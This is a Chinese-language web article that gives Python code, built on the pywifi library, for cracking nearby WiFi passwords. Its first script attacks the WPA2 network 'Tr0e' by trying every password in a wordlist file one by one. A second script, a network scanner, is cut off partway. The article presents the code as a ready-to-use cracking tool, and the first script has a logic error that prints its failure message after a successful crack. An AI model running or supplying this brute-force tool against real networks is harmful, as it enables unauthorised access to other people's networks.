利用Python探测附近WIFI密码的详细代码

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import pywifi

from pywifi import const

import time

import datetime

# 测试连接，返回链接结果

def wifiConnect(pwd):

    # 抓取网卡接口

    wifi = pywifi.PyWiFi()

    # 获取第一个无线网卡

    ifaces = wifi.interfaces()[0]

    # 断开所有连接

    ifaces.disconnect()

    time.sleep(1)

    wifistatus = ifaces.status()

    if wifistatus == const.IFACE_DISCONNECTED:

        # 创建WiFi连接文件

        profile = pywifi.Profile()

        # 要连接WiFi的名称

        profile.ssid = "Tr0e"

        # 网卡的开放状态

        profile.auth = const.AUTH_ALG_OPEN

        # wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        # 加密单元

        profile.cipher = const.CIPHER_TYPE_CCMP

        # 调用密码

        profile.key = pwd

        # 删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        # 设定新的连接文件

        tep_profile = ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        # wifi连接时间

        time.sleep(2)

        if ifaces.status() == const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接")

# 读取密码本

def readPassword():

    success = False

    print("****************** WIFI破解 ******************")

    # 密码本路径

    path = "pwd.txt"

    # 打开文件

    file = open(path, "r")

    start = datetime.datetime.now()

    while True:

        try:

            pwd = file.readline()

            # 去除密码的末尾换行符

            pwd = pwd.strip('\n')

            bool = wifiConnect(pwd)

            if bool:

                print("[*] 密码已破解：", pwd)

                print("[*] WiFi已自动连接！！！")

                success = True

                break

            else:

                # 跳出当前循环，进行下一次循环

                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s"%("Tr0e",pwd))

        except:

            continue

    end = datetime.datetime.now()

    if(success):

        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))

        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")

    exit(0)

if __name__=="__main__":

    readPassword()

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import pywifi

import time

from pywifi import const

# WiFi扫描模块

def wifi_scan():

    # 初始化wifi

    wifi = pywifi.PyWiFi()

    # 使用第一个无线网卡

    interface = wifi.interfaces()[0]

    # 开始扫描

    interface.scan()

    for i in range(4):

        time.sleep(1)

        print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i), end='）')

    print('\r扫描完成！\n' + '-' * 38)

    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))